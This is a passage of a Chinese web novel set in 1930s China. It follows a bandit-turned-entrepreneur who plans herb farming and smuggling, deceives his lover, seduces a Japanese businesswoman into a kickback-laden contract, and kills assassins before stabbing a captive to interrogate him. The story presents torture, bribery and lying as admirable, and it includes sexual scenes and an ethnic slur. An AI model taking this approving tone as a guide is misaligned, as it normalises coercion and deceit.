李二狗冷冷地看着陈嘎子,一字一句地问道:“嘎子,你这是在威胁我吗?” 陈嘎子忙解释道:“不是不是,狗哥,我们真的知道错了,只要你同意让我们留下来,我们以后肯定什么事都听你的。” “你们呐,太伤我的心了,我一直拿你们当亲兄弟对待,可没想到你们竟如此待我,哎!我本将心向明月,奈何明月照沟渠啊!” 李二狗长长地一声叹息,让陈嘎子和张石头终于流下了悔恨的泪水。 “狗哥,我们错了,我们错了……” 两个以头伏地,痛哭不已。 “好了,都起来吧,大家都是好兄弟,我又怎么舍得让你们离开?” 两人听到李二狗的承诺,这才从地上爬起来。 “谢谢狗哥,谢谢狗哥。” “目前咱们集团的人事安排已经确定,我不可能为了你们朝令夕改,你们懂我的意思吗?” 陈嘎子迟疑了一下,还是说道:“我们懂,我们都听狗哥的安排。” “嘎子、石头,你们都是我的好兄弟,你们也不想想,我会亏待你们吗?你们这样一闹,我反而不能对你们委以重任,这样其他人会以为会哭的孩子有奶吃,有样学样,那我以后还怎么管理这个集团?” “狗哥,我们明白了,以后我们都听你的安排。” “留在集团好好干,以后我不会亏待你们的,咱们是好兄弟嘛。” 对于陈嘎子和张石头,虽然品行不端,但也不是毫无用处。 李二狗准备让他们负责集团的督查工作。 他们作为集团元老,在集团有一定的身份和地位,从事这项工作,集团各部门和五个农场的人不敢不配合。 同时,督察这项工作没有实权,他们只有建议权,没有决定权。 更为关键的是,陈嘎子和张石头因为失去了农场的管理权,内心肯定非常羡慕五个农场总经理手中的权力,所以他们就会吹毛求疵地寻找他们的缺陷和不足,这样反而会促使这五个农场负责人玩命地干好工作。 说白了,陈嘎子和张石头就是李二狗放在集团的鲶鱼。 李二狗一直相信,这个世界上根本没有废人,只有不会用人的领导。 当他把这个决定告诉陈嘎子和张石头的时候,他们果然欣然接受。 他们没有干好工作的能力,但找茬他们却非常擅长。 陈嘎子和张石头离开后,秀才来到议事厅。 “狗哥,你找我?” “看到他们了吗?” 刚才进门的时候,秀才正好碰到出门的陈嘎子和张石头,两人脸上虽满是泪痕却有一股兴奋之情。 “遇到了。狗哥,你答应让他们留下了?” “大家都是一路摸爬滚打过来的兄弟,如果把他们赶下山,我还是于心不忍,反正集团也不少这两副碗筷,还是让他们留下吧。” 秀才最头疼的就是陈嘎子、张石头这样的集团元老,能力一般,水平有限,干啥啥不成,吃啥啥不剩,虽然没有实权,但还有一定的身份和地位,管理起来十分棘手。 一旦管理不善,很可能一锅老鼠屎,坏了整锅粥。 “狗哥,可以让他们留下来,可他们真的甘愿只做寨务会成员吗?我怕他们带坏其他人啊。” 李二狗便把对他们的安排告诉了秀才。 秀才起初不理解,皱着眉头思虑了半天,忽然眼前一亮,忍不住对李二狗竖起了大拇指。 “狗哥,高啊!” 第581章 脱裤子追你 “秀才,咱们集团现在已经下辖有五个农场,近六百多名兄弟,没有严格的制度和管理是走不长远的。” 正所谓英雄所见略同,对李二狗的话秀才深以为是。 “狗哥,你信任我,让我出任集团的总经理,这几天,我内心一直是忐忑不安的,我秀才能力和水平都一般,何德何能能坐到现在的位置上,狗哥,我怕辜负了你对我的信任啊。” 李二狗很满意秀才这种如履薄冰、战战兢兢的态度,有敬畏才会懂规矩。 无规矩不成方圆,管理一个地主大院如此,管理一个山寨也是如此,管理一个集团更是如此。 “秀才,咱们集团的规章制度已经很完备了,下一步你一定要抓好制度的执行,对于违反制度的行为一定要严厉惩处,哪怕是我,一旦违反了制度也要给予相应的处罚。” 他又补充道:“尤其是约法三章,那是咱们的立寨之本,谁都不能违反,谁违反就砍谁的头,绝不姑息!” 秀才在李二狗的眼里看到了作为领导的那种杀伐决断。 “放心吧,狗哥,按照你的吩咐,我已经在着手成立集团执法部了。” “嗯,你做的很好。秀才,对于下一步集团的发展你有什么看法?” 秀才自从当上总经理之后,一直在思考这个问题。 不管你规章制度制定的有多完备,执行的有多严格,要想让集团长治久安,首先要解决的就是六百多名兄弟的吃喝拉撒问题。 如果大家不能填饱肚子,其他一切都是浮云。 你总不能让大家饿着肚子去垦荒去训练吧?这是一个根本问题。 “狗哥,我有一些不成熟的意见,你先听听怎么样?有些事情还得你最后拿主意。” 李二狗事先并没有提前通知,秀才却提前做了准备,这一点令他十分满意。 “秀才,你先说说看,咱们一起商量着来。” 秀才从包里掏出一个小本本,上面密密麻麻地记了几大页。 “我认为首先咱们集团还得继续垦荒,越多越好。马上就要开春了,开春之后,集团所有垦荒出来的土地都种上淫羊藿、菟丝子、仙茅、附子这类中药材,重点是淫羊藿。” 东北之行,让秀才意识到种植中药材大有可为,尤其是他参观了省城的吴氏制药厂之后,更加坚定了这一发展思路。 秀才的想法和李二狗不谋而合,一夜八次丸在日本市场名声大噪,在未来很长的一段时间内,日本男人都离不开这种药丸,市场前景将会无比广阔。 仅仅一个日本市场就足够养活好几个吴氏制药厂,可除了日本市场,李二狗还打算开辟东南亚市场、中东市场、欧洲市场、美洲市场甚至非洲市场。 有男人的地方就会有需求,李二狗誓要把中国博大精深的中医药文化传播到全世界,给全世界不举不硬的男人带去福音,从根上解决他们的难言之隐。 如此广阔的市场前景,足以让清风集团的兄弟们过上衣食无忧的生活。 “秀才,你知道省城吴氏制药厂对中药材的需求量有多大吗?” 秀才在小本本上快速瞄了一眼,说道:“我先前向省城吴氏制药厂的静雯经理打听过,仅淫羊藿一项,每年的用量大约在五十万斤左右。” “五十万斤?”李二狗若有所思地点了点头,“秀才,你想过咱们集团开垦出来的这些荒地,每年能产多少淫羊藿吗?” 秀才又快速看了看小本,说道:“我统计过,目前咱们集团开垦出来的土地有五百多亩,淫羊藿鲜品亩产通常在一千斤之间,晒干之后还得减半,大约在五百斤左右,总产量应该在二十五万斤左右。” 秀才的工作态度和积极主动性远在李二狗的预期之上,他确实没有选错人。 “秀才,你做的非常好,不过有一个问题不知道你有没有想过?” 秀才问道:“狗哥,什么问题?” 李二狗说道:“淫羊藿第一年种植通常产量较低,每亩大约产三十到六十公斤鲜品,第二年开始逐渐进入丰产期,第三至四年为产量高峰,之后产量可能逐年下降,一般连续采收五到六年之后需轮作。” 秀才把李二狗的话一字一句地写在小本本上。 “狗哥,你说的这个问题我还真不知道,多亏了有你,不然我得走多少弯路啊,关键是耽误咱们集团的整体发展啊,那我就成集团罪人了,我得向你检讨,我做工作太不严谨了。” 李二狗笑道:“秀才,这才几天的时间,你能做到现在的程度已经很好了,离开春还有一个多月的时间,你还有时间来做充足的准备。” “狗哥,请你放心,我准备请两个种植中药材的高手来咱们集团搞一次系统的培训,一定不打无准备之战。” 李二狗满意地点了点头。 “秀才啊,还有一点,如果咱们只种植淫羊藿,产量还远远不足以满足吴氏制药厂的需求,而且吴氏制药厂未来的生产规模还会进一步扩大,到时候对中药材的需求可能会翻倍,甚至翻几倍,这些问题你想过没有?” 秀才懵了,他根本没有想过这个问题,在他的意识里,一直是有多大锅下多少米,有多大碗吃多大的饭。 “狗哥,我向你检讨,这些我还真没有考虑过。不过你放心,我一定会发动兄弟们继续开垦荒地,争取开春前,整个集团再开垦出二百亩土地。” 不管秀才的能力如何,他的态度绝对是没有问题的。 “秀才,我再给你一个建议。现在是农闲时刻,山下有的是闲人,你可以安排人雇一些农夫到山上来帮助咱们开垦荒地。这年月,你只需要管两顿饱饭,就会有成千上万的人来山上免费为你开荒。” 秀才听后对李二狗更是由衷的赞叹,人家这脑子,确实不掺杂一点水分。 “狗哥,我就是脱了裤子追,这辈子也追不上你了。” “你小子要是脱了裤子追我,我跑得更快,哈哈。” 第582章 我是那种见了女人就迈不动腿的男人吗? 李二狗心中十分清楚,只要把集团开垦出来的这些荒地充分地利用起来,等于就稳住了集团发展的基本盘,基本上也就解决了集团六百多号兄弟吃饭的问题。 但这些土地只能解决他们吃饱的问题,要想吃好,仅靠这些土地还是远远不够的。 李二狗的目标是不仅要让兄弟们吃饱,还要让他们吃好,这样他们心中才有盼头,才会死心塌地地跟着自己。 必须开辟出更多地增收渠道。 “秀才,除了垦荒种地,你还有其他想法吗?” 垦荒种地的事,秀才都没弄明白,哪还有精力考虑其他的事情。 他只好如实说道:“狗哥,我暂时还没有思路。” 前段时间,李二狗去了一趟关外的伪满洲国,简直令他大开眼界。 同样的东西,在关内只卖一毛钱,在关外就敢卖五毛,甚至卖一块。 尤其是烟草、食盐、白酒、砂糖、火柴、棉布、大米等这些民生物资更是通通实行严格的专卖制度。 日本人通过专卖专营来控制民生、奴役民众、掠夺财富、支撑其殖民统治与战争。 “秀才,关内的淫羊藿贵,咱们就去关外买便宜的,然后再运到关内来,你有没有想过?咱们也可以把关内便宜的货物运到关外去卖啊。” “狗哥,你是说咱们和奉天的清风寨合作?” 李二狗笑了。 “我就喜欢和聪明人打交道,秀才,现在奉天清风寨的大当家是柱子,我救过他的命,咱们可以与他们合作,通过他们的途径往东北走私紧俏的货物。” 走私货物的利润有多大,秀才当然清楚。 他上次去东北,在商店买了一盒火柴,竟然要一毛钱,这个关内,连一分钱都不值。 “狗哥,关外的东西为什么比咱们关内贵这么多?我听说东北那边的工厂可比咱们关内强多了。” “这就是日本人的可恨之处,他们为了维持其高昂的战争支出,便在整个伪满洲国实行严格的专卖制度,把普通民众生活中离不开的柴米油盐全部纳入专卖,一斤盐就敢卖五毛钱,秀才,他们这是在搜刮咱们中国老百姓的民脂民膏啊。” “这群日本畜生真是太可恨了,狗哥,你放心,我会尽快安排人和奉天清风寨取得联系,争取春节前拿出一个可行性的实施方案。” “好,秀才,放手去干吧,你办事我放心。” 其实李二狗本来还计划让清风集团涉猎贸易行的生意,但最后还是放弃了。 因为有吴氏贸易行,都是自家生意,没必要在一个碗里抢饭吃。 李二狗安排妥当集团的事情之后,便开车来到省城。 当静雯听说要收购井伊商社的淫羊藿时,第一时间表达了反对意见。 “我不同意!他们本来想害咱们,反过来你却去帮助他们,二狗,你和我说实话,是不是那个酒井空找你了?” 静雯一眼便看穿了整个事情最关键的节点。 “她的确找过我。” “哼,你是不是中了她的美人计?” 静雯撅着小嘴,醋意十足。 “静雯,我是那种见了女人就迈不动腿的男人吗?” “可……” “你先别急,先听我把话说完。” “你说吧,你最好给一个能令我信服的理由。” “酒井空她确实找过我,因为她知道咱们生产的一夜八次丸已经在日本本土上市,井伊商社囤积的淫羊藿已经失去了意义。” 静雯忍不住插嘴道:“所以,她就央求你购买井伊商社的淫羊藿对吗?你抵挡不住她的诱惑,就答应了她对吗?” 静雯是真的生气了。 李二狗早就想好了说辞。 “静雯,你看你,又着急,先听我把话说完嘛。” “那你说,我听着。” “现在并不是淫羊藿的收获时节,市场上的淫羊藿大都囤积在井伊商社手中,而从关外走私淫羊藿的渠道最近出现了一些问题,短时间内我们根本没有淫羊藿的进货渠道。现在从井伊商社购买淫羊藿比在市场上直接购买便宜的多,她不知道咱们的进货渠道出现了问题,才答应把淫羊藿卖给咱们。” “真的?” “当然是真的,我还能骗你不成?你也不想想,我是那种只吃亏的人吗?” 静雯破涕为笑。 “对,你是只赚便宜的人。” 李二狗借势把静雯搂入怀中,笑问道:“不生气了?” “哼,二狗,我警告你,你不许和那个日本女人有来往,否则我……” “你怎么样?” “我就阉了你!” “阉了我?哈哈,你舍得吗?” “哼,我宁肯阉了你,也不让别的女人碰它。” 两人说着说着就脱光了彼此身上的衣服,上演了一幕活色生香的春宫图。 “静雯,现在市场上没有淫羊藿,我好不容易才说服了酒井空,一开始,价格方面可能还是会贵一些。” “贵多少?” “比咱们在关外进货的价格贵一倍。” “这么多?那我们的利润可就小了不少啊。” 李二狗笑道:“羊毛出在羊身上,这部分费用得那些没用的日本男人出。” “你呀,真是一个只赚便宜不吃亏的人。” “静雯,我准备明天去趟上海看看干爹,顺便和松上商社的人谈一谈下一步合作的事情。” “那我和你一起去吧,我也很担心干爹。” 李二狗并不想静雯跟着去上海,她去的话影响自己和松上商社的旧垣结衣谈合作。 “你要是和我一起去上海,家里这一摊子事谁负责?你能放心吗?” 静雯确实放心不下,最近她虽然在刻意培养孙小雨,但很多事情还需要她亲自从中周旋。 “可人家就是想和你一起去嘛。” 李二狗吻住了静雯的嘴,静雯热烈地回应他。 一直到两人大汗淋漓才停了下来。 李二狗知道,此时无论自己说什么,静雯都会无条件地答应。 “乖,现在制药厂处于特殊时期,你我都不在,我还真不放心,等下次咱们在一起去吧。” 静雯虽不情愿,但也没有办法。 第二天一早,李二狗坐上火车直奔上海滩。 第583章 青春逼人 李二狗到达上海之后,第一时间就来到吴有德的住处。 这是一栋位于法租界的欧式二层白色小洋楼,黑漆漆的大铁门显得很巍峨,大铁门中间那把黄灿灿的铜锁显得十分突兀。 李二狗站在门前敲了半天,里面也没有人回应。 情急之下,他爬上院墙旁边的一棵大树,跳进院子里。 院子里显得很冷清,也许是久未打扫的原因,地面上铺满了枯叶。 李二狗突生一种凄凉的感觉。 他来到房门前,透过玻璃看向屋内,里面同样是冷冷清清。 李二狗从院子里爬出来,又来到吴有德办公的地方。 门前同样是冷冷清清,传达室里有一个中年男子正在打瞌睡。 李二狗敲了敲玻璃,问道:“你好,请问吴有德在吗?” 中年男人听到有人找吴有德,头都没有抬,说道:“不在。” “你知道他去哪了吗?” 中年男子依然没有抬头。 “他去香港出差了。” “我上次来找他,就说去香港出差了,这么长时间了,你知道他什么时候回来吗?” “这个我就不知道了,我也好久没见他了。” 李二狗想到吴有德从事的事业比较特殊,也许需要他在香港长时间出差。 但在香港出差,也可以给家里打个电话,可这段时间,吴有德连一个电话都没有打。 “你好,你知道他在香港的电话吗?”李二狗仍然不死心地问道。 值班的中年男子这才抬起头,有些狐疑地看了李二狗一眼,问道:“你这个人怎么这么多问题?你是他什么人?” 李二狗回答的很干脆。 “我是他儿子。” “奥,那没有。” “我想见见你们领导,麻烦你给通传一声。” “我们领导都去香港出差了,现在都不在,你有事还是改天再来吧。” 李二狗没有办法,只好先行离开,但他总感觉哪里不对劲。 不过想到办公地点还有人值守,想来应该是真的出差没有回来。 李二狗内心稍安。 他回到酒店,立刻给松上商社的旧垣结衣打了一个电话。 旧垣结衣自从接到李二狗要到上海的电报之后内心就一直在躁动。 上次一别,她十分怀念和李二狗在一起的点点滴滴。 这个男人总有一种让人难以言说的魅力。 听到李二狗的声音,她兴奋的差点跳起来。 “李先生,你什么时候到的?” 听到旧垣结衣银铃般的笑声,李二狗的内心也不免有些激动。 不可否认,旧垣结衣是一个和酒井空完全不同的女人,她更加活泼、更加富有一种青春逼人的气息。 李二狗很难想象,旧垣结衣拥有如此波涛汹涌的身材,走的却是清纯路线。 更加令人难以想象的是在她身上,性感和清纯竟毫不违和。 和她在一起,人不自觉地会减少很多烦恼。 “我刚到,旧垣小姐,你什么时间有空?我们见面谈一谈合作的事情。” 旧垣结衣眼珠子一转,计上心来。 “哎呀,实在是不好意思,李先生,今天下午我有一个非常非常重要的会晤,实在是抽不出时间来呀。” 李二狗丝毫没察觉到有什么异常。 “如果今天下午没空的话,那咱们就明天上午吧,我明天下午就要离开上海了。” 旧垣结衣出人意料地说道:“哎呀,李先生,实在是对不起,明天上午我们总社领导来上海视察工作,我必须得陪同呀,你说这可怎么办啊?” 此时,李二狗才听出不对劲来。 如此重要的生意,旧垣结衣即使有天大的事情,她也不可能不专门抽出时间来谈合作的事情。 事出反常必有妖,旧垣结衣肯定故意的。 她想干什么? 李二狗故意学着旧垣结衣的声音说道:“哎呀,旧垣小姐,那可怎么办啊?我明天下午就得离开上海了。” 旧垣结衣开心地说道:“李先生,你今天晚上有空吗?如果有空可以到我家里来谈,我正好想请李先生吃顿便饭,你看可以吗?” 李二狗下意识地舔了舔舌头,说道:“旧垣小姐如此有诚意,我即使没有时间也得有时间啊。” “嘻嘻,感谢李先生给我这个大的面子,你是住在沪上酒店吗?今天晚上七点钟我去楼下接你。” “是的,那咱们七点见。” 放下电话,李二狗有些恍惚。 上次本来他打算和松上商社只签订一个月的合同,结果在旧垣结衣的软磨硬泡下不得已签订了三个月。 这次旧垣结衣会不会故技重施? 可这个女人实在是太诱人了,既浪又纯,李二狗即使有再大的定力,也感到无所适从。 他为自己刚才轻易答应旧垣结衣的邀请而感到后悔。 时间很快来到七点钟,李二狗穿戴整齐地下了楼。 酒店门口等着一辆橘黄色别克牌轿车,十分引人瞩目。 李二狗刚走出大门,就碰见在轿车旁等候的旧垣结衣。 “李先生,您真准时。” 旧垣结衣今天别出心裁地穿了一件水墨画风格的旗袍,将自己玲珑有致的身材完美地呈现在李二狗面前。 李二狗的喉咙不自觉地滚动了几下。 看着旧垣结衣那张清纯的面庞,李二狗很难想象她在床上到底是什么样子。 “旧垣小姐亲自来接,我怎好意思迟到。” “李先生,请。” 李二狗从旧垣结衣身前闪身进入轿车,旧垣结衣紧跟着坐了进来。 不知是有意还是轿车后座太紧,旧垣结衣一上车就把身子靠在了李二狗身上。 一股淡淡的香气传入李二狗的鼻息,他立刻嗅出那是法国香奈儿的迷情香水。 “李先生,为什么这么急就要离开?何不在上海多玩几天?” 旧垣结衣看向李二狗,口中呼出的气息拍打在李二狗脸颊上,有一种酥酥麻麻的感觉。 李二狗笑道:“药丸生产任务很重,上门求合作的都快把药厂的门槛挤破了,我实在不能在上海久待啊。” 旧垣结衣一愣,看来今晚她要是不拿出点真东西,李二狗不会轻易和她签订供货合同。 第584章 口中的生鱼片 旧垣结衣知道,越是在这种时候,自己越不能主动和李二狗谈生意。 只要饭吃好了,感情做到位了,氛围起来了,其他一切都是水到渠成的事情。 “李先生,工作再忙,也得注意劳逸结合,毕竟身体才是第一位的嘛。” 旧垣结衣说着就主动挽住李二狗的胳膊,头很自然地依靠在他的肩膀上。 李二狗恍惚间有一种初恋的感觉。 日本女人如此主动,李二狗如果再扭扭捏捏予以拒绝,那就是给中国男人丢脸了。 “我就是一个劳碌的命,没办法。” “等会儿吃完饭我给你好好放松放松,我在日本的时候学过按摩,一定会让你有灵魂出窍的感觉,嘻嘻。” “那我很期待啊,哈哈。” 两人旁若无人地调着情,嬉笑间来到了日租界的一栋小楼前。 两人相继下了车,旧垣结衣再次伸手挽住李二狗的臂膀,仿佛就像一对你侬我侬的情侣回家。 进入屋内,典型的日式布局,十分的典雅别致。 “李先生,你先坐,我进去准备一下。” 旧垣结衣说完就进入了卧室。 李二狗看到墙上有一张旧垣结衣的照片,她身穿一身红色的和服,笑得特别灿烂,身后就是日本的圣山——富士山。 照片中的旧垣结衣比现在更显青春活力,看着像学生时代的照片。 在雪山的衬托下,她就像雪中仙子一般,那么纯洁,那么无瑕,真的是好美。 李二狗怎么也想不到,这样一个人畜无害的纯洁少女,如今却变成这个样子。 正当李二狗看的入神的时候,身后的门“吱咛”一声推开了,旧垣结衣穿着一身红色的和服出现在李二狗眼前。 “李先生,你看我这身和服怎么样?” 这一瞬间,李二狗有一丝恍惚,这个女人好像又变回了照片中的样子。 “李先生,你怎么了?” 李二狗这才从恍惚中回过神来,他微微一笑,说道:“和你的气质很般配。” “这是我专门为你准备的,希望你会喜欢。” 李二狗没想到旧垣结衣说的如此直接,脑海中那个纯洁无瑕的少女消失了,她现在是演都不演了。 “旧垣小姐穿什么我都喜欢。” “李先生可不要骗我哦,嘻嘻。” 旧垣结衣轻移莲步,轻踱到李二狗身前。 “今晚我准备了寿司和生鱼片,不知道合不合李先生的口味?” 李二狗被旧垣结衣撩拨的有些燥热,他深吸一口气,徐徐说道:“入乡随俗,我都可以。” “那我们就开始吧,李先生,里面请。” 旧垣结衣在前面带路,推开一扇白色的门,里面是一张榻桌,上面摆着寿司、三文鱼、大米团子等食物,还有一瓶白色的清酒。 “李先生,请坐。” 李二狗盘腿坐在一个蒲团上,旧垣结衣没有坐到他的对面,而是拿起对面的蒲团,坐到了李二狗身边。 “李先生,尝一尝我从北海道带来的清酒。” 说着她便把李二狗面前的杯子斟满了一杯清酒。 “来,李先生,我敬你一杯。” 李二狗端起酒杯,笑道:“旧垣小姐,这虽然是我们第二次见面,但我们也算是老朋友了,你还是别叫我李先生了,就叫我二狗吧。” 旧垣结衣抿嘴一笑。 “二狗,我喜欢这个名字。” “结衣,你这个名字我更喜欢。” 两人相视一笑,轻轻地碰了一下酒杯。 李二狗本想轻抿一口,没想到旧垣结衣已经一饮而尽,喝完还笑意盈盈地看着李二狗。 李二狗只好也一饮而尽。 这种低度数的清酒,李二狗即使喝二斤也不会有什么感觉,旧垣结衣想用清酒把他灌醉,完全是她的一厢情愿。 “我们再来一杯吧。” 旧垣结衣又把两人的杯子倒满,她端起酒杯刚要喝,李二狗急忙拉住了她的胳膊。 “结衣,这样喝酒我怕你会喝醉。” “嘻嘻,你不希望我喝醉吗?” 旧垣结衣言语里充满了挑逗。 李二狗是一个万花丛中过的男人,旧垣结衣这点小花招还拿捏不住他。 “好啊,那我陪你。” 两人又喝了一杯。 旧垣结衣又给两人的杯子斟满了酒。 两人又是一饮而尽。 三杯清酒下肚,李二狗一点感觉都没有,倒是旧垣结衣脸色有些潮红,眼神里荡漾着一汪秋水。 李二狗拿起酒瓶又给两人的酒杯斟满了酒。 “结衣,咱们再饮一杯。” 旧垣结衣端着酒杯,几乎要倒在李二狗身上。 “二狗,你觉得我好看吗?” “好看!” “那你喜欢我吗?” “喜欢!” “二狗……” 旧垣结衣的香唇猝不及防地吻在了李二狗的唇上,却被李二狗一扭头躲过了。 “二狗,人家想要嘛。” 旧垣结衣说着又试图去吻李二狗的唇,还是被李二狗躲过了。 “二狗,你不是喜欢人家吗?干嘛要躲?刚才你都是骗人家的吗?” “结衣,我们接着喝酒,我看你还没有喝酒。” “人家不想喝酒嘛,你快说,你到底喜不喜欢人家嘛。” 旧垣结衣嘟着小嘴,又恢复了纯洁无瑕的模样。 李二狗分不清,这两个性格的女人到底哪一个才是真实的她。 李二狗指了指桌上的三文鱼,不紧不慢地说道:“结衣,时间还早,我现在想吃生鱼片了。” 旧垣结衣妩媚地一笑,说道:“想吃你就说嘛?别说生鱼片,就是鲍鱼也让你吃个痛快。” 她不失时机地给李二狗抛了一个媚眼,然后起身夹了一块生鱼片。 李二狗拿起面前的餐盘刚要去接,旧垣结衣却把手缩了回去。 “张嘴,人家要喂你吃嘛。” 此情此景之下,李二狗不愿意做那个煞风景之人。 他笑着摇了摇头,无奈地张开了嘴。 就在生鱼片要到李二狗口中的时候,没想到旧垣结衣竟把生鱼片含在自己口中,然后猝不及防地吻住了李二狗的嘴。 生鱼片在两人的口腔中搅拌在一起,还夹杂着一点芥末的辛辣芳香,那味道简直爽到爆。 第585章 以后我就是你的女人 旧垣结衣紧紧咬住李二狗不松口,李二狗慢慢地也进入了状态。 两人一边吻一边去脱彼此的衣服,很快便进入到那种原始洪荒、茹毛饮血的状态。 此时的旧垣结衣,再也没有了以前那种清纯无瑕的模样,她化身欲女,让李二狗彻底把一切顾虑都抛在了脑后。 “二狗,我还要!” “二狗,不要停!” …… 在满桌生鱼片和寿司的见证下,两人完成了一次又一次的起承转合。 事后,旧垣结衣瘫软在李二狗怀里。 这就是李二狗的本事,每次他都可以让他身下的女人得到前所未有的满足。 “二狗,以后你常来上海好不好?人家现在已经离不开你了。” 旧垣结衣在李二狗怀里撒着娇。 李二狗终究还是没有把持住自己,占了人家的便宜,必须得给人家一些回报,这是李二狗做人的原则。 提上裤子不认人的事他李二狗绝对做不出来。 “结衣,我已经想好了,我要把一夜八次丸在日本的独家经销权签给你们松上商社。” “真的吗?” 旧垣结衣听后兴奋地翻身趴到李二狗身上。 李二狗伸手拍了拍旧垣结衣紧俏的屁股。 “当然是真的,我什么时候骗过你?” 旧垣结衣没想到事情解决得这么容易,她还准备了第二套方案、第三套方案,现在看来都已经用不上 。 “二狗,那咱们这次签三年合同好不好?” 手掌心里那种圆润滑腻的感觉令李二狗兴趣盎然。 “好,一切都听你的。” 旧垣结衣兴奋地在李二狗身上翻滚。 “二狗,你对我实在是太好了,你放心,以后我就是你的女人,你一个人的女人。” 李二狗想了想,还是决定现在就对旧垣结衣说出自己的条件。 “结衣,在咱们签订这份合同之前,有件事情我必须要和你说清楚。” 旧垣结衣赤身裸体地爬到李二狗身上,她那双无辜的大眼睛笑嘻嘻地盯着李二狗的眼睛。 “二狗,我知道你不会欺负我的,是吗?” 这种时候,李二狗除了说是,根本没有别的选择。 “当然,我怎么会欺负你呢?小傻瓜,我只会疼你。” “嘻嘻,那你说吧,什么事?” “因为我把一夜八次丸的独家经销权给了你们松上商社,因此得罪了井伊商社,井伊商社的实力你也是知道的……” 旧垣结衣点了点头。 “我知道,井伊商社是日本最大也是最有实力的一个商社,他们威胁你了吗?” 李二狗笑了笑,说道:“威胁我倒不怕,毕竟现在你们日本还没有占领我们华北,但是千防万防也防不住他们在暗中使坏啊。” 李二狗一脸的无可奈何状。 “二狗,他们使用了什么卑鄙无耻下流的手段对付你?” “结衣,还是你更了解你们日本人啊,”李二狗感叹道,“他们运用雄厚的财力把药丸配料中最重要的一味中药材买断了货。” “啊?那岂不是生产不了药丸了?” “对啊,确实生产不了了。” “可……可一夜八次丸还是在日本上市了啊?” “对啊,这就是我正要和你说的,咱们一夜八次丸的销量这么好,我不能眼睁睁地看着生产不出来药丸啊,主要是交不了货,我怕让你为难。” 旧垣结衣忍不住亲吻了李二狗的全身。 “二狗,你对我太好了。那你是怎么解决这个问题的?” “哎,万般无奈之下,我只好去找井伊商社谈判,你也知道,你们日本人颐指气使惯了,一开始根本不愿意搭理我。” “这真是太委屈你了,那你又是怎么让他们答应你的呢?” “哎,我还能有什么办法?只能高价购买呗,不瞒你说,这三个月给你们供的这些货我都没挣钱。” 旧垣结衣这次表现得很冷静,她在快速判断李二狗话里的真假。 不挣钱?这绝对不可能。 关于井伊商社恶意囤积淫羊藿的事情,旧垣结衣也听说过一些。 但是因为和井伊商社是直接竞争关系,很多更深层次的事情她也打听不到。 李二狗见旧垣结衣不说话,知道她在分析自己刚才说的话。 “结衣,其实一夜八次丸在你们日本的售价,井伊商社都告诉我了,你们利润的丰厚程度令我十分吃惊啊,简直比贩卖大烟还挣钱。” 旧垣结衣无法反驳,因为事实的确如此。 “二狗,一夜八次丸在日本的售价是我们商社高层领导定的,我是没有话语权的。” “结衣,我并没有责怪你的意思,你们在日本卖多少钱是你们的权利,即使卖这个价格,一夜八次丸还是供不应求,对吗?” 旧垣结衣无法否认,她知道这个事情,井伊商社的人肯定都已经告诉李二狗了。 “是的,确实供不应求。二狗,我现在是你的女人了,有些事我不想瞒你,日本总社最近一直在催促发货,你必须得帮我啊。” “我当然会帮你,我不帮你帮谁?难道帮井伊商社吗?” “二狗,你对我真是太好了,我们再来一次吧?我又想了,嘻嘻。” 旧垣结衣说着就往李二狗下面钻,被李二狗伸手阻止了。 “结衣,你先别急,听我把话说完。” 旧垣结衣只好钻出来,一脸天真地问道:“二狗,你要说什么啊?快点嘛,人家都等不及了。” “这次我们可以签订三年的供货合同,但是价格方面,我要在原来价格的基础上提高六成。” “六成?” 其实刚才旧垣结衣已经猜到李二狗要涨价,但还是没想到他会一次提高这么多。 “二狗,六成是不是太多了?我不好向日本总社交代啊。” “结衣,咱们都这么好了,我必须得为你考虑,这增加的六成中我会留出一成给你,咱们合同中按增长了六成的价格签,但其中有一成我会都给你,你一个女人,实在是不容易。” 旧垣结衣彻底被李二狗征服了,这样的男人,她心甘情愿地为他付出一切。 第586章 买凶杀人 两人谈定合同细节之后,李二狗和旧垣结衣正准备心无旁骛地再次肉搏一番的时候,李二狗突然听到门外传来一阵轻微的脚步声。 “嘘!”李二狗趴在旧垣结衣耳边轻声说道:“别出声,外边有人。” 旧垣结衣心下一惊,吓得在李二狗身下一动不动,她竖起耳朵,却没有听到任何动静。 她轻声问道:“我没有听到声音啊?是不是你听错了?” 李二狗在江湖中摸爬滚打过年,早就练就了超强的警觉能力,他相信自己刚才听到的声音绝对不是幻听。 他急忙翻身下床,开始穿衣服。 旧垣结衣此时尚处在激情澎湃当中,见李二狗如此谨慎,她忍不住说道:“二狗,你不要这么紧张,这里是日租界,很安全的。” “就因为是日租界,我才不放心。” 见李二狗如此严肃,旧垣结衣也只好跟着穿好衣服下了床。 李二狗示意旧垣结衣待在原地不要动,然后他蹑手蹑脚地走到房门口,附耳在门板上倾听门外的动静。 果然,门外传来一阵窸窸窣窣开锁的声音。 李二狗朝旧垣结衣做了一个噤声的动作,然后挥手示意她躲起来。 此时他身上并没有携带任何武器,他环顾四周,看到桌上有一把水果刀,他快速拿起握在手中。 现在无法判断门外的人是什么身份,也无法判断他们究竟有几个人,但有一点很确定,他们深夜前来敲门,肯定不是来听墙角的。 “啪”的一声,门锁被打开了。 房门被从外边轻轻地推开,三个黑影鱼贯而入。 看到只有三个人,李二狗心中才舒了一口气。 三个黑影的目光全部落在室内的那张榻榻米床上,他们相互对视之后,手持匕首,慢慢向室内移动。 突然,“哐”的一声,房门被关上了。 三个黑影几乎同时看向身后,发现一个人已经近在他们眼前。 就在他们惊恐的同时,只听到“咔、咔、咔”三声脆响。 三个人全部被李二狗打倒在地,其中两个人当场毙命,李二狗只留下一个活口。 灯亮了,旧垣结衣从室内走了过来。 看到地上躺着两具尸体,她惊得目瞪口呆。 她知道李二狗厉害,却没想到他这么厉害。 李二狗摘下这个活口的头罩,果然是一个日本浪人。 “你是什么人?” “哼!” 这个活口把头一扭,根本不搭理李二狗。 “啊!” 李二狗一刀插入他的大腿,鲜血“呲呲”的往外流。 “我再问你一遍,你是什么人?” “哼!” 活口捂着大腿上的伤口,依旧倔强地不理会李二狗。 “啊!” 李二狗又一刀插入他的另一条大腿,整个动作干净利落,绝不拖泥带水。 “我再问你最后一遍,你到底是什么人?” 这个活口终于屈服了,他从来没遇到像李二狗如此冷血的对手。 “我说,我说,有人出钱让我们来取旧垣结衣的性命。” 旧垣结衣吓得后退两步,脸色惨白,她没想到在日租界竟然有人出钱要取她的性命。 杀手是日本人,很明显,买凶之人定是日本人。 “什么人出钱买我性命?”旧垣结衣上前质问道。 “我不知道!” 